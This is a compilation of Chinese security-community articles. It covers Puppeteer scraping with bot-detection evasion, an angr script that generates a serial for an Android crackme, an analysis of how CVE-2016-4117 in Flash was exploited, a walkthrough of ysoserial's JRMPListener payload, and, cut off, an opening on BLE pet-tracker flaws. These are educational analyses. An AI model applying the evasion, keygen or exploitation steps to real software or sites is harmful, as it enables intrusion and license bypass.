let eleCount = await page.evaluate((sel) => {
return document.getElementsByClassName(sel).length;
}, 'category');
if(eleCount != 0){
let htmlArray = await page.evaluate((sel, eleCount) => {
let element = document.querySelectorAll(sel);
let htmlArray = [];
for(let i = 0; i <= eleCount; i++){
htmlArray[i] = element[i].innerText;
}
htmlArray.shift();
return htmlArray;
}, 'p', eleCount);
console.log(htmlArray);
}
browser.close();
})();
最后结果如图：
Github 的登录：
1.先使用page.type(selector, text[, options])，获取到登录位置。
2.page.click(）点击登录，在page.waitForNavigation()等网站响应内容，我后面做的是截图操作，其实可以在这里爬取github上的项目内容。
源代码如下：
const puppeteer = require('puppeteer')
const screenshot = 'www.github.com.png';
(async () => {
const browser = await puppeteer.launch({headless: true})
const page = await browser.newPage()
await page.goto('https://github.com/login')
await page.type('#login_field', 'GITHUB_USER')
await page.type('#password', 'GITHUB_PWD')
await page.click('[name="commit"]')
await page.waitForNavigation()
await page.screenshot({ path: screenshot })
browser.close()
console.log('See screenshot: ' + screenshot)
})()
其中还有很多函数的使用，根据应用场景不同都会使用到，API文档中都有详细使用方法。但是其中有些功能不完善，例如忽略SSL错误，可以看下这篇[文章](https://paper.seebug.org/537/?from=timeline&isappinstalled=0)。
### 4.反爬虫
我们都知道爬虫与反爬虫都是在一起迅速的发展，上面我们使用两个例子介绍了headless chrome的基本用法，但我觉得headless
chrome最重要的是可以绕过很多反爬虫的一些规则与检测。
1).检测了浏览器UA
page.setUserAgent(userAgent)
2).检测了浏览器浏览器分辨率
page.setViewport(viewport)
3).检测了浏览器浏览器插件和语言的，都是利用`navigator.plugins.length === 0` and
`navigator.languages == ''` ，所以我们在页面加载之前修改 `navigator` 对象。
Object.defineProperty(navigator, 'languages', {
get: function() {
return ['en-US', 'en'];
},
});
// overwrite the `plugins` property to use a custom getter
Object.defineProperty(navigator, 'plugins', {
get: function() {
// this just needs to have `length > 0`, but we could mock the plugins too
return [1, 2, 3, 4, 5];
},
});
## 0x03 总结
headless chrome
确实给爬虫带来更好的一种选择，尽管它现在有些功能不完善，例如不支持扩展，我觉得后面这些问题都会慢慢解决，更新也会很快(毕竟GOOGLE)，比PhantomJS
而言使用 Headless Chrome 稳定、可靠、快速，也基本上满足了对爬虫的需求，例如漏洞测试等。
## 0x04 参考
<https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md>
<https://github.com/GoogleChrome/puppeteer/blob/master/docs/api.md>
<https://chromedevtools.github.io/devtools-protocol/tot/> | 社区文章 |
# 【技术分享】使用符号执行技术解决Android Crackme
##### 译文声明
本文是翻译文章，文章来源：vantagepoint.sg
原文地址：<http://www.vantagepoint.sg/blog/81-solving-an-android-crackme-with-a-little-symbolic-execution>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 前言**
二进制分析框架提供给我们强大的自动化分析的方法。本文中，我们将看下Angr，一个python实现的用于静态和动态分析的分析框架。它基于Valgrind的VEX中间层语言。使用一个精简的加载器“CLE
Loads Everything”，这个加载器不是完全精确的，但是能够加载ELF/ARM的可执行文件，因此对于处理Android的原生库有帮助。
我们的目标程序是一个授权验证程序。虽然在应用商店中不会总是发现类似的东西，但是用来描述基本的符号分析是足够的。您可以在混淆的Android二进制文件中以许多创造性的方式使用这些技术。
**0x01 符号执行**
在21世纪后期，基于符号执行的测试就在用于确认安全漏洞的领域非常流行。符号“执行”实际上是指代表通过程序的可能路径作为一阶逻辑中的公式的过程，其中变量由符号值表示。通过SMT解释器来验证并给这些公式提供解决方案，我们能得到到达每个执行点的需要的数据。
简单来说，工作过程如下：
1\. 将程序的一个路径翻译为一个逻辑表达式，其中的一些状态用符号表示
2\. 解决公式
3\. 得到结果
这是一个简化的描述，实际上更加复杂。执行引擎首先枚举程序中所有可能的路径。对于每个分支，引擎将由分支条件施加的约束保存在分支所依赖的符号变量上。最终得到一个非常大的路径公式，并解决相关的公式，你将得到覆盖所有路径的输入变量。
然而，解决公式是困难的一部分。为了理解这个如何工作，让我们回顾下布尔可满足性(SAT)问题。SAT是一个确定命题逻辑公式的是否满足的问题，例如(x1 ∨
¬x2) ∧ (¬x1 ∨ x2 ∨
x3)（意思是，根据输入可能产生一个true的结果）。然而命题逻辑不足以编码在我们的程序中发生的所有可能的约束：毕竟，分支决定依赖符号变量之间的复杂的关系。
因此我们需要将SAT扩展到SMT。SMT能用非二进制变量的集合断言代替SAT公式。每个断言的输出是一个二进制值。一个线性代数中的断言可以是“2x+3y>1”。因此，当“2x+3y>1”满足时一个特殊的分支可能被采用。
每个路径公式都是SMT问题。负责解决问题的SAT解释器简单地将理论断言的连接传递给各个理论的专用求解器，例如线性算术，非线性算术和位向量。最终，问题被简化为SAT求解程序，可以处理的一个普通的布尔SAT实例。
**0x02 实例分析**
符号执行对于需要找到到达特定代码块的正确输入是很有用的。在下面的例子中，将使用Angr来自动化解决一个简单Android
Crackme。这个crackme采用的原生ELF二进制文件在[这里](https://github.com/angr/angr-doc/tree/master/examples/android_arm_license_validation)下载到。
**安装Angr**
Angr使用python 2编写，在PyPi提供。可以通过pip简单的安装：
$ pip install angr
建议用[Virtualenv](https://virtualenv.pypa.io/en/stable/)创建一个专用的虚拟环境，因为它的一些依赖项包含覆盖原始版本的分支版本Z3和PyVEX（如果不使用这些库，则可以跳过此步骤
– 另一方面， 使用Virtualenv总是一个好主意）。
Angr在[gitbooks](https://docs.angr.io/)上提供了非常容易理解的文档，包括安装指导，教程和用法示例。还有完整的[API参考](http://angr.io/api-doc/)提供。
在安卓设备中运行可执行文件能得到如下的输出。
$ adb push validate /data/local/tmp
[100%] /data/local/tmp/validate
$ adb shell chmod 755 /data/local/tmp/validate
$ adb shell /data/local/tmp/validate
Usage: ./validate <serial>
$ adb shell /data/local/tmp/validate 12345
Incorrect serial (wrong format).
到目前为止，一切都很好，但是我们不知道任何关于可靠的授权序列号是啥样的。通过IDA先大致浏览以下代码。
在反汇编中主要功能定位到地址0x1874处（注意到这是一个开启PIE的二进制文件，并且IDA选择了0x0作为映像基址）。函数名称是没有的，但是我们能看到一些调试字符串的引用：出现在base32解密输入字符串中（调用到sub_1340）。在main函数开始处，对于loc_1898有个长度校验用来验证输入字符串的长度是否是16。因此我们需要一个16个字符的base32加密的字符串。解码输入被传入函数sub_1760中，验证授权序列号的可靠性。
16个字符的base32字符串被解码成10个字节，因此我们知道验证函数希望有个10字节的二进制字符串。接下来，我们看下位于0x1760的验证函数：
.text:00001760 ; =============== S U B R O U T I N E =======================================
.text:00001760
.text:00001760 ; Attributes: bp-based frame
.text:00001760
.text:00001760 sub_1760 ; CODE XREF: sub_1874+B0
.text:00001760
.text:00001760 var_20 = -0x20
.text:00001760 var_1C = -0x1C
.text:00001760 var_1B = -0x1B
.text:00001760 var_1A = -0x1A
.text:00001760 var_19 = -0x19
.text:00001760 var_18 = -0x18
.text:00001760 var_14 = -0x14
.text:00001760 var_10 = -0x10
.text:00001760 var_C = -0xC
.text:00001760
.text:00001760 STMFD SP!, {R4,R11,LR}
.text:00001764 ADD R11, SP, #8
.text:00001768 SUB SP, SP, #0x1C
.text:0000176C STR R0, [R11,#var_20]
.text:00001770 LDR R3, [R11,#var_20]
.text:00001774 STR R3, [R11,#var_10]
.text:00001778 MOV R3, #0
.text:0000177C STR R3, [R11,#var_14]
.text:00001780 B loc_17D0
.text:00001784 ; --------------------------------------------------------------------------- .text:00001784
.text:00001784 loc_1784 ; CODE XREF: sub_1760+78
.text:00001784 LDR R3, [R11,#var_10]
.text:00001788 LDRB R2, [R3]
.text:0000178C LDR R3, [R11,#var_10]
.text:00001790 ADD R3, R3, #1
.text:00001794 LDRB R3, [R3]
.text:00001798 EOR R3, R2, R3 ; Aha! You're XOR-ing a byte with the byte next to it. In a loop! You bastard.
.text:0000179C AND R2, R3, #0xFF
.text:000017A0 MOV R3, #0xFFFFFFF0
.text:000017A4 LDR R1, [R11,#var_14]
.text:000017A8 SUB R0, R11, #-var_C
.text:000017AC ADD R1, R0, R1
.text:000017B0 ADD R3, R1, R3
.text:000017B4 STRB R2, [R3]
.text:000017B8 LDR R3, [R11,#var_10]
.text:000017BC ADD R3, R3, #2
.text:000017C0 STR R3, [R11,#var_10]
.text:000017C4 LDR R3, [R11,#var_14]
.text:000017C8 ADD R3, R3, #1
.text:000017CC STR R3, [R11,#var_14]
.text:000017D0
.text:000017D0 loc_17D0 ; CODE XREF: sub_1760+20
.text:000017D0 LDR R3, [R11,#var_14]
.text:000017D4 CMP R3, #4
.text:000017D8 BLE loc_1784
.text:000017DC LDRB R4, [R11,#var_1C] ; Now you're comparing the xor-ed bytes with values retrieved from - somewhere...
.text:000017E0 BL sub_16F0
.text:000017E4 MOV R3, R0
.text:000017E8 CMP R4, R3
.text:000017EC BNE loc_1854
.text:000017F0 LDRB R4, [R11,#var_1B]
.text:000017F4 BL sub_170C
.text:000017F8 MOV R3, R0
.text:000017FC CMP R4, R3
.text:00001800 BNE loc_1854
.text:00001804 LDRB R4, [R11,#var_1A]
.text:00001808 BL sub_16F0
.text:0000180C MOV R3, R0
.text:00001810 CMP R4, R3
.text:00001814 BNE loc_1854
.text:00001818 LDRB R4, [R11,#var_19]
.text:0000181C BL sub_1728
.text:00001820 MOV R3, R0
.text:00001824 CMP R4, R3
.text:00001828 BNE loc_1854
.text:0000182C LDRB R4, [R11,#var_18]
.text:00001830 BL sub_1744
.text:00001834 MOV R3, R0
.text:00001838 CMP R4, R3
.text:0000183C BNE loc_1854
.text:00001840 LDR R3, =(aProductActivat - 0x184C) ; This is where we want to be!
.text:00001844 ADD R3, PC, R3 ; "Product activation passed. Congratulati"...
.text:00001848 MOV R0, R3 ; char *
.text:0000184C BL puts
.text:00001850 B loc_1864
.text:00001854 ; --------------------------------------------------------------------------- .text:00001854
.text:00001854 loc_1854 ; CODE XREF: sub_1760+8C
.text:00001854 ; sub_1760+A0j ...
.text:00001854 LDR R3, =(aIncorrectSer_0 - 0x1860) ; This is where we DON'T wanna be!
.text:00001858 ADD R3, PC, R3 ; "Incorrect serial."
.text:0000185C MOV R0, R3 ; char *
.text:00001860 BL puts
.text:00001864
.text:00001864 loc_1864 ; CODE XREF: sub_1760+F0
.text:00001864 SUB SP, R11, #8
.text:00001868 LDMFD SP!, {R4,R11,PC}
.text:00001868 ; End of function sub_1760
我们能在loc_1784看到异或操作，应该是解码操作。从loc_17DC开始，我们能看到一系列的解码值的比较。尽管它看起来高度复杂，我们还需要更多的逆向分析并生成授权传给它。但是通过动态符号执行，我们不需要做更多的深入分析。符号执行引擎能够映射一条在校验授权的开始处（0x1760）和输出消息“Product
activation passed”的地方（0x1840）之间的路径，决定每种输入的约束。求解引擎能发现满足那些约束的输入值即可靠的授权序列号。
我们只需要提供几种输入给符号执行引擎：
1\. 开始执行的地址。我们使用串行验证函数的第一条指令来初始化状态。这能使任务变得简单，因为我们避免了符号执行base32实现。
2\. 我们想要执行到达的代码块地址。在这个例子中，我们想找到一个输出“Product activation
passed”消息的有效路径。这个块的其实地址是0x1840。
3\. 我们不想到达的地址。这种情况下，我们对于任何到达输出“incorrect serial”消息的路径不感兴趣（0x1854）。
Angr加载器在基址0x400000处加载PIE可执行文件，因此我们必须将这个添加到上述地址中。解决方案如下。
#!/usr/bin/python
# This is how we defeat the Android license check using Angr!
# The binary is available for download on GitHub:
# https://github.com/b-mueller/obfuscation-metrics/tree/master/crackmes/android/01_license_check_1
# Written by Bernhard -- bernhard [dot] mueller [at] owasp [dot] org
import angr
import claripy
import base64
load_options = {}
# Android NDK library path:
load_options['custom_ld_path'] = ['/Users/berndt/Tools/android-ndk-r10e/platforms/android-21/arch-arm/usr/lib']
b = angr.Project("./validate", load_options = load_options)
# The key validation function starts at 0x401760, so that's where we create the initial state.
# This speeds things up a lot because we're bypassing the Base32-encoder.
state = b.factory.blank_state(addr=0x401760)
initial_path = b.factory.path(state)
path_group = b.factory.path_group(state)
# 0x401840 = Product activation passed
# 0x401854 = Incorrect serial
path_group.explore(find=0x401840, avoid=0x401854)
found = path_group.found[0]
# Get the solution string from *(R11 - 0x24).
addr = found.state.memory.load(found.state.regs.r11 - 0x24, endness='Iend_LE')
concrete_addr = found.state.se.any_int(addr)
solution = found.state.se.any_str(found.state.memory.load(concrete_addr,10))
print base64.b32encode(solution)
注意到程序的最后一部分，能获得我们最终想要的输入字符串。然而我们从符号内存中读不到任何字符串或指针。真实发生的是求解器计算的具体的值能在程序状态中找到。
运行脚本能得到以下输出：
(angr) $ python solve.py
WARNING | 2017-01-09 17:17:03,664 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
JQAE6ACMABNAAIIA
最终的授权序列号应该能使程序输出成功的消息。
同时，符号执行是一种强大的技术，能用于漏洞挖掘，解混淆和逆向工程。
**0x03 参考**
Angr – [http://angr.io](http://angr.io/)
Axel Souchet, Jonathan Salwan, Jérémy Fetiveau – Keygenning with KLEE –
[http://doar-e.github.io/blog/2015/08/18/keygenning-with-klee/](http://doar-e.github.io/blog/2015/08/18/keygenning-with-klee/)
Logic for Computer Science –
[http://www.cs.ru.nl/~herman/onderwijs/soflp2013/reeves-clarke-lcs.pdf](http://www.cs.ru.nl/~herman/onderwijs/soflp2013/reeves-clarke-lcs.pdf)
Concolic Testing:
[https://en.wikipedia.org/wiki/Concolic_testing](https://en.wikipedia.org/wiki/Concolic_testing) | 社区文章 |
# Adobe在野漏洞：CVE-2016-4117漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：大宝@360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
****
**author：[大宝@360天眼安全实验室](http://weibo.com/babyboaes)**
**在今年五月份,国外安全专家发现了一个未知的Adobe漏洞在野外被利用。在该漏洞被披露后,Adobe发布了一个升级补丁用于修复此漏洞(APSB16-15),编号为CVE-2016-4117。同时,CVE-2016-4117漏洞被列为高危漏洞,在CVSS
Score中被评为10.0,它同时影响到Windows,Mac OS X,Linux和Chrome
OS。Adobe在发布的漏洞信息中提到,“Windows、mac、Linux和Chrome OS中的Adobe Flash Player
21.0.0.226和早期版本中存在一个高危漏洞,成功利用该漏洞可能会导致系统崩溃,甚至攻击者可以控制受影响的系统。”**
**0x0漏洞简介**
CVE-2016-4117是出现在ActionScript的com.adobe.tvsdk.mediacore.timeline.operations.DeleteRangeTimelineOperation类中的一个类型混淆漏洞,最终可能导致远程代码执行,在今年五月份的时候首次出现野外样本。在此类中,存在以下两个get,set的接口(图0-0),名称为placement,假如我们以此类作为基类,在子类中创建一个相同名称的object(图0-1),avm虚拟机在解释的过程中会出现错误,从而引起类型混淆。
(图0-0)
(图0-1)
**0x1 漏洞相关知识**
要深入了解这个漏洞的深入原理,首先我们要了解avm虚拟机解释字节码getproperty(0x66)的逻辑流程。adobe在github上公布过avm虚拟机的源代码,并且有一些参考文档,尽管这是3年前的代码,但是还是可以作为参考。
首先我们可以查看getproperty这个指令的简介(图1-0):
图(1-0)
简单来说就是从一个object中根据后面的index取出某个属性。我们再看源代码的实现:
图(1-1)
getBinding是根据我们的属性名字,最后返回一个bind
ID值,然后会根据这个值取出不同的函数或者字段的值。这个ID的值由两部分组成,分别是低三位的bit和其余的bit,低三位的bit保存的是这个property的类型,其余的bit保存这个ID真正的值,枚举值如图:
图(1-2)
随后的bindingKind就是将这个ID值与7相与,也就是取出低三位的bit,然后switch表根据这个值进行不同的操作,这里与漏洞相关的有两个,一个是BKING_VAR(2),一般是object,uint等变量,一个是BKING_GET(5),对应get的接口,首先我们查看BKING_VAR:
图(1-3)
BindingToSlotId是右移三位,得到真正的ID值,然后根据这个ID值取出真正的value,getSlotAtom的逻辑也很简单,比如ID值是0x5,就取出对象偏移0x5*4的value,当然还会进行类型的判断,如这个类型是double型则取出8字节,如果是int型,则取出4字节。对比的汇编指令如下:
图(1-4)
然后我们再看BKING_GET:
图(1-5)
跟进coerceEnter函数:
图(1-6)
这段代码比较复杂,首先解释几个名词:
Vtable:是一个保存as层面(不是native层面)虚函数列表的对象,里面的methods数组保存不同虚函数对象的对应的MethodEnv,一般保存在object的+0x8偏移的位置。
MethodEnv:在其+0x8保存MethodInfo对象。
MethodInfo:在其0x8 保存虚函数将要调用的函数指针。最终会调用这个函数指针从而调用get or set接口。
这段代码首先右移三位,得到真正的ID值,然后以这个ID值作为索引从methods数组中取出对应虚函数的MethodEnv对象,再调用对应的get or
set接口。
对应的汇编指令如下:
图(1-7)
另一个需要了解的就是byteArray的数据结构,根据不同版本,在byteArray对象的+0x40 or +0x44 or
+0x48会有一个m_buffer,而m_buffer的+0x8保存了真正保存数据的array,+0x10是length。具体如图所示:
图(1-8)
**0x2 漏洞触发分析**
实验环境:Windows 7 64 bit 企业版cn
Adobe Flash:flashplayer21_0r0_213_win_sa_debug.exe
根据捕获的样本分析得出,漏洞触发的关键代码如下:
图(2-0)
通过flash90.palcement语句从而会在AS虚拟机层面进入getPlacement(该部分没有源代码,暂时命名)函数,是触发漏洞的关键所在,伪代码如下:
图(2-1)
首先会进入Toplevel_getproperty函数(也就是图1-1的函数),该函数没有漏洞,因此所有代码运行正常,最终返回placement在内存中的值0xd。我们知道placement等于true,也就是0x1,但是在as虚拟机保存变量的机制中,末尾三位bit也是保存类型的,官方文档如下:
图(2-2)
因此true的值是1<<3 or 101 =0xd。返回值0xd大于0x4,所以跳过if语句,进入下面的漏洞触发代码部分:
图(2-3)
我们可以看到这里调用了getBinding函数,然后返回0xe2:
图(2-4)
ID值0xE2如果与7相与等于0x2(因为我们已经混淆成object类型,本来是get接口),对应图(1-2),正确的流程应该是进入图(1-3)的代码,取出placement的值0xd。但是这里并没有进行任何判断,就进入图(2-3)下面的代码,我们对比和图(1-7)的代码:
我们发现这两处地方的代码是一样的,这里是进入了case
5和7的处理流程,从Vtable中取出MethodEnv然后取出虚函数地址并且调用。但是我们应该进入case
2的处理环节的,却进入了case5和7的处理流程,我们可以查看修补该漏洞后的代码:
图(2-5)
修补后的代码会对getBinding后的ID值的类型进行判断,如果不是0x5的类型,则进入错误处理流程,从而避免了其他ID值的类型进入了0x5类型的处理流程。下面我们来分析如果我们把这个0x2类型的ID值进入0x5类型的处理流程会产生什么严重的问题。
图(2-6)
将ID值右移三位得到0x1c,该值是placement属性在flash90对象中的偏移值(44+1c*4=b4):
图(2-7)
但是该值被用于从Vtable对象的MethodEnv数组中作为index值取出MethodEnv元素(图2-6中的edx+0x3c是数组的开始位置),查看Vtable对象的内存:
图(2-8)
Vtable对象的大小是0x60,0x1C并不是一个合法的值,经过计算后,最终会越界从下一个相邻的Vtable对象中读出MethodEnv元素。而这个Vtable对象是属于另一个对象类型Data5的,查看Data5的内存:
图(2-9)
图(2-10)
Data5对象的+0x8保存的Vtable对象等于0x39cbf40,与图2-8相符合,第一个属性等于0xab4130等于十进制的11223344,与图2-10相符合,最终判定该对象就是Data5对象。所以最后取出的虚函数指针是Data5对象的f2虚函数指针:
图(2-11)
但是这里的this指针却变成了flash90的指针,根据源码(图2-12),我们查看进入虚函数指针前第三个参数的内存区域:
图(2-12)
图(2-13)
换句话说,在f2函数上所有的一切操作的this指针都不是指向Data5对象的内存区域,而是指向flash90的内存区域,最终引起类型混淆漏洞。由于Data5对象里面有很多属性,占用的内存空间会比flash90对象大很多(图2-14),最终可以对flash90内存区域进行越界读写,只要在flash90对象的下一个相邻位置放入一个byteArray,即可以在f2函数中对这个byteArray的关键数据区域修改,得到一个长度超长的byteArray。
(图2-14)
**0x3 漏洞利用分析**
漏洞利用的过程中,主要有几个问题:
3.1 怎样令Data5对应的Vtable对象刚好分配在Data4对应的Vtable对象的下一个相邻位置。
第一步:Vtable对象的大小是由一个对象的虚函数数量决定的,虚函数越多,MethodEnv数组越大,Vtable对象也越大。目标Vtable对象是0x60,样本中通过添加5个虚函数,加上本来存在的3个虚函数,最后得到0x3c+8*4=0x5c,再经过内存对齐就是0x60:
图(3-0)
第二步:增加几个继承Data5的类Data6,Data7等等,然后在运行的过程中new出来,最后在内存中即可分配多个同样大小的Vtable对象。
图(3-1)
3.2 怎样令虚函数f2对应的MethodEnv刚好对应0x1c*4+0x3c+Vtable_Add
这个则十分简单,根据在内存中的偏移,在f2虚函数前增加若干个虚函数,样本中是1个。然后f2对应的MethodEnv就会刚好在0x1c*4的位置。
图(3-2)
3.3 如何令flash90后面紧跟一个byteArray
通过heap feng shui技术:
图(3-3)
Data3的构造函数如下图:
图(3-4)
最终内存布局如下图:
图(3-5)
进入f2函数后,首先进行一系列内存数据判断,找出byteArray关键数据区域的偏移值,因为版本和环境的不同,这些都可能不同的,因此为了兼容性,这里有必要进行判断:
图(3-6)
(图解:a48的内存位置计算法方法是flash90_add+0x10(因为Data5在第一个字段前会有0x10的metedata)+48*4=0x66a500=0x123=291,根据上图的内存布局(图3-5),a57就是byteArray的index,a64就是byteArray的this指针,a50是m_buffer的地址。a56和a23只是用于检测是否byteArray对象)
获得与flash90对象相邻的下一个byteArray的引用,将byteArray的m_buffer结构地址修改成我们可以控制的内存区域,把真正m_buffer区域的数据赋值至这个内存区域,然后进入flash20函数。复制利用的技术是把atom伪造成Number类型(图2-2),然后就可以读出指定内存区域的数据。修改前m_buffer地址(这里的版本是0x48偏移)如图所示:
图(3-7)
修改后的地址:
图(3-8)
进入flash20函数后,将会修改m_buffer区域的length字段,最终构造超长数组,实现任意内存读写:
图(3-9)
m_buffer的地址已经修改成我们可以控制的内存区域,因此这里的ba.a0是对应m_buffer的+0x8位置的,从图3-7可以看到,m_buffer的+0x8位置等于0x11223344,而ba.a0的构造函数如图3-4所示。在最新版的flash中,在m_buffer的结构中引入了cookie字段,以防篡改length,例如在+0x20就保存了length的cookie,计算方法是length
xor
.Data字段的一个cookie值。在修改length的同时也需要把+0x20的length_cookie也要修改,不然在校验的时候就会出错。通过将a1(capacity)与a5(capacity_cookie)异或,可以求出.Data字段中的cookie值,然后将这个cookie值与0xffffffff放进a6(length_cookie),最终完成篡改m_buffer的length字段的所有步骤。至此,我们已经得到了一个超大的byteArray数组,可以进行任意内存读写。样本接下来的利用方法与Hacking
Team的CVE-2015-5119基本雷同,公开的分析文章非常多,在这就不再详细叙述:
图(3-10)
查找PE头,然后根据导入表结构查找VirtualProtect地址
图(3-11)
根据functionObject的结构,进行一系列读写操作,最终修改functionObject父对象的虚函数地址至VirtualProtect,在call.apply中会调用这个虚函数,从而调用VirtualProtect绕过DEP。
图(3-12)
读取functionObject的MethodEnv地址,再读取MethodEnv中的MethodInfo地址,再修改MethodInfo的_implGPR变成shellcode地址,从而绕过CFG检测。在functionObject.call的时候,会跳进shellcode执行,最终实现远程代码执行。
**0x4 样本行为分析**
和众多样本一样,shellcode的作用就是一个网马下载器。在shellcode执行后,样本会从网上下载一个恶意的exe文件然后执行,运行该exe后,受害者主机将会完全被攻击者控制。 | 社区文章 |
# payloads/JRMPListener
JRMPListener的攻击流程：
1.生成payloads/JRMPListener发送给服务器，当服务器反序列化payloads/JRMPListener后，即会开启一个端口进行监听。
2.使用exploit/JRMPClient模块发送payload，服务器就会把payload进行反序列化，从而完成进行攻击。
直接通过ysoserial源码调试JRMPListener类来理解payloads/JRMP模块的利用原理
## 生成Payload
打开idea，设置启动参数，主类为ysoserial.GeneratePayload，参数为JRMPListener 1199
断点启动，GeneratePayload类中调用了JRMPListener的getObject方法
跟进JRMPListener#getObject
第一行jrmpPort获取了端口号1199
重点讲一下第二部分
46行new了一个UnicastServerRef对象并且把jrmpPort端口号传入了进去
然后调用了一个Reflections工具类构造了UnicastRemoteObject对象
### Reflections构造对象
在前面调用了Reflections#createWithConstructor方法，利用ActivationGroupImpl.class、RemoteObject.class、RemoteRef.class、UnicastServerRef构造了一个对象
现在转到工具类Reflections.java
debug来解释下这个工具类的作用
1.获取有参构造方法
在这里获取了RemoteObject类的有参构造，参数为RemoteRef.class
2.暴力反射
setAccessible(objCons);
3.获得Constructor
在这里用了ReflectionFactory.newConstructorForSerialization来创建无参构造方法
下面用一个简单的demo来解释下这段代码的作用
ReflectionFactory.getReflectionFactory().newConstructorForSerialization()
新建一个Person类，创建其有参和无参构造方法
public class Person{
private String name;
public Person() {
System.out.println("Person无参构造方法");
}
public Person(String name) {
this.name = name;
System.out.println("调用有参构造" + name.toString());
}
}
新建一个User类，继承Person
public class User extends Person{
public void eat(){
System.out.println("eat...");
}
}
新建Test类
public class Test1 {
public static void main(String[] args) throws Exception {
//获得Person的有参构造函数
Constructor<Person> personConst = Person.class.getDeclaredConstructor(String.class);
//获得Person的Constructor对象
Constructor constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(
User.class,
personConst
);
//constructor.setAccessible(true);
//实例化对象，给person构造方法传入xxx，并转型成User
User user = (User) constructor.newInstance("xxx");
user.eat();
}
}
运行结果：
调用有参构造xxx
eat...
可以看到，虽然User类没有构造方法，但是依然能通过父类创建出来，并且调用其方法。
#### demo解读
解释下在这里newConstructorForSerialization()传入的参数
第一个参数是需要创建对象的Class，比如User.class
第二个参数是对象的父类的构造方法，比如Person.class.getDeclaredConstructor()或者Person.class.getDeclaredConstructor(String.class)
因为不能确定一个类中是否有无构造函数，所以在这里yososeroal中利用ReflectionFactory.newConstructorForSerialization创建对象的话，比直接反射创建对象适用性要高，并不会产生报错。
继续回到ysoserial源码中，就看的很明白了
ReflectionFactory.getReflectionFactory()获取了ReflectionFactory对象的实例
之后进行了newConstructorForSerialization()
传入的第一个值是ActivationGroupImpl.class,第二个则是它的父类RemoteObject的构造方法。以下是ActivationGroupImpl的继承关系图
4.创建出ActivationGroupImpl对象
最后一行把获取到的Constructor进行了newInstance，并且传入了consArgs，即UnicastServerRef对象
UnicastServerRef对象通过父类有参构造函数，赋值给了ref
然后对其向下转型成了ActivationGroupImpl类（T即为ActivationGroupImpl）
最后返回值就是一个ActivationGroupImpl对象了
回到JRMPListener.java，此时的uro为ActivationGroupImpl
跟进49行，这里又调用了Reflections类得getField方法，把UnicastRemoteObject中的port值设置成了jrmpPort，也就是1199。
最后返回的payload对象就是ActivationGroupImpl
然后在GeneratePayload中把ActivationGroupImpl进行了序列化操作
## gadget链分析
以下是ysoserial给出给出得gadget链
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
在前面生成payload得时候返回的是ActivationGroupImpl对象，但是其对象本身是没有readObject方法的，所以从父类找readObject最终找到UnicastRemoteObject
攻击流程：
payload发送给服务器，服务器会对其进行反序列化，触发UnicastRemoteObject#readObject
进入reexport
这里执行了exportObject，传入了ActivationGroupImpl对象和port
继续跟进到UnicastServerRef#exportObject，这里后面就是之前分析RMI时候操作了。
在this.ref.exportObject执行后会最终到TCPTransport类的exportObject方法
跟进listen
调用TCPEndpoint#newServerSocket方法，会开启端口监听
如果服务器反序列化了该payload，就会开启一个监听。
这里就做了一个很简单的调试，更具体的可以看我之前写的文章，RMI源码调试
参考链接：
<https://www.cnblogs.com/nice0e3/p/14333695.html>
<https://blog.csdn.net/whatday/article/details/106971531> | 社区文章 |
# 花式追踪你的宠物
|
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com
原文地址：<https://securelist.com/i-know-where-your-pet-is/85600/>
译文仅供参考，具体内容表达以及含义原文为准。
卡巴斯基实验室多年的网络威胁研究表明，任何可以访问互联网的设备都存在遭到黑客入侵的风险。近年来，我们看到了被黑客入侵的玩具、水壶、照相机、甚至是电熨斗，黑客似乎无处不在。但还有一块最后的阵地：用于动物们的“智能”设备，比如说用于监视它们的位置的追踪器。这些工具可以访问设备持有者的家庭网络和电话，以及他们宠物的位置。
这篇报告重点说明了用户和制造商可能存在的风险。其中，我们检查了几个追踪器潜在漏洞。我们选择了一些受到好评的流行模型来进行这项研究：
* [Kippy Vita](https://www.kippy.eu/en/)
* [LINK AKC Smart Dog Collar](https://www.linkakc.com/smart-dog-collar)
* [Nuzzle Pet Activity and GPS Tracker](https://hellonuzzle.com/nuzzle-products/)
* [TrackR bravo and pixel](https://secure.thetrackr.com/)
* [Tractive GPS Pet Tracker](https://tractive.com/us_en/pd/gps-tracker-3g)
* [Weenect WE301](https://www.weenect.com/en/gps-tracker-for-dogs-weenect-dogs.html)
* [Whistle 3 GPS Pet Tracker & Activity Monitor](https://www.whistle.com/)
## 使用的技术：蓝牙低能耗技术
研究中的四个追踪器都使用了[蓝牙低能耗技术（BLE）](https://en.wikipedia.org/wiki/Bluetooth_Low_Energy)，而在很多情况下这种技术都可以看作是防护设备的一大弱点。让我们来仔细看看这种技术。BLE是在[物联网设备中](https://securelist.com/threats/internet-of-things-glossary?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation)广泛使用的蓝牙节能规范，我们关注它的身份认证技术的缺陷、服务的可用性及它的Characteristics(可以理解为一个数据类型，它包括一个value和0至多个对次value的描述(descriptors))。
首先在身份认证方面，和使用PIN码连接对等设备的“经典型”蓝牙不同，BLE针对的是非对等设备，换句话说就是其中一个设备可以没有屏幕或键盘。因此，PIN码保护并不支持BLE，它的身份认证技术完全取决于设备的开发者，而经验表明，开发者经常忽视这一点。
